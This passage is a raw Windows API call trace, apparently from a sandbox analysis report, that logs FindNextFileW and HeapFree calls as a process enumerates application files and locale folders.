lpFindFileData=0x3b2df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0271.878] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.878] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0271.878] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.878] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0271.878] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.879] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0271.879] FindClose (in: hFindFile=0x6eb7f0 | out: hFindFile=0x6eb7f0) returned 1 [0271.879] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0271.879] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f85, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0271.879] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0271.879] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0271.879] FindClose (in: hFindFile=0x6eb770 | out: hFindFile=0x6eb770) returned 1 [0271.879] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0271.879] FindNextFileW (in: hFindFile=0x6ebc30, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="scan-files", cAlternateFileName="SCAN-F~1")) returned 1 [0271.880] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0271.880] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0271.882] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0271.882] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb802d9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb802d9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb802d9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x13362, dwReserved0=0x0, dwReserved1=0x0, cFileName="appstore.png", cAlternateFileName="")) returned 1 [0272.483] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0272.484] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb802d9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb802d9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x129ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="playstore.png", cAlternateFileName="PLAYST~1.PNG")) returned 1 [0272.484] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0272.484] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb802d9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themeless", cAlternateFileName="THEMEL~1")) returned 0 [0272.484] FindClose (in: hFindFile=0x6ebcb0 | out: hFindFile=0x6ebcb0) returned 1 [0272.484] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0272.484] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0272.490] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.490] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0272.490] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.490] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0272.490] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.490] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0272.491] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.491] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0272.491] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.491] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0272.491] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.491] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0272.491] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.491] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0272.491] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.491] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0272.492] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.492] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0272.492] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.492] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0272.492] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.492] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0272.492] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.492] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0272.492] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.492] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0272.493] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.493] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0272.493] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.493] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0272.493] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.493] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0272.493] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.493] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0272.493] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.493] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0272.494] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.494] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0272.494] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.494] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0272.495] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.495] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0272.495] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.495] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0272.495] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.495] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0272.495] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.495] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0272.496] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.496] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0272.496] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.496] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0272.496] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.496] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 